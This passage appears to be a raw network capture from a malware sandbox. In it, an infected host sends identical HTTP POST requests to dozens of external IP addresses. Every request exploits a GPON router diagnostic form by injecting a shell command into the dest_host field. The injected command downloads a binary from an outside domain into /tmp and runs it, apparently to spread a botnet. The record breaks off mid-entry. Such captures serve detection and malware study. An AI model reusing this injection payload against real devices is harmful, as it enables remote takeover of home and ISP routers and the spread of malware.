952	192.168.2.13	50342	5.241.161.4	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880775928 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
953	192.168.2.13	39578	79.80.101.63	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880783081 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
954	192.168.2.13	58462	118.225.69.177	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880796909 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
955	192.168.2.13	46512	118.83.3.222	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880812883 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
956	192.168.2.13	57450	79.23.90.43	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880820036 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
957	192.168.2.13	33126	109.102.58.254	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880842924 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
958	192.168.2.13	46972	210.245.129.147	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880846977 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
959	192.168.2.13	54422	79.87.155.149	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880855083 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
960	192.168.2.13	34118	94.199.183.38	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880888939 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
961	192.168.2.13	43034	117.76.174.174	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880917072 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
962	192.168.2.13	52444	94.97.100.180	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880939007 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
963	192.168.2.13	40516	5.23.129.132	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880949974 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
964	192.168.2.13	43814	123.123.246.153	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880950928 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
965	192.168.2.13	43486	210.128.1.219	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880981922 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
966	192.168.2.13	57662	2.95.33.160	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880981922 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
967	192.168.2.13	48692	117.146.173.182	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.881036043 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
968	192.168.2.13	43608	5.98.108.185	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.881037951 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
969	192.168.2.13	41248	212.125.149.254	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.881053925 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
970	192.168.2.13	33000	37.135.190.215	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.881067991 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
971	192.168.2.13	39416	118.113.135.168	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.881095886 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
972	192.168.2.13	53538	2.152.116.70	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.881110907 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
973	192.168.2.13	51462	37.68.76.90	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.881139040 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
974	192.168.2.13	48410	210.244.225.107	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.881158113 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
975	192.168.2.13	36142	210.197.222.137	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.881181002 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
976	192.168.2.13	32952	123.51.246.220	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.881208897 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
977	192.168.2.13	33020	118.12.72.87	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.881230116 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: 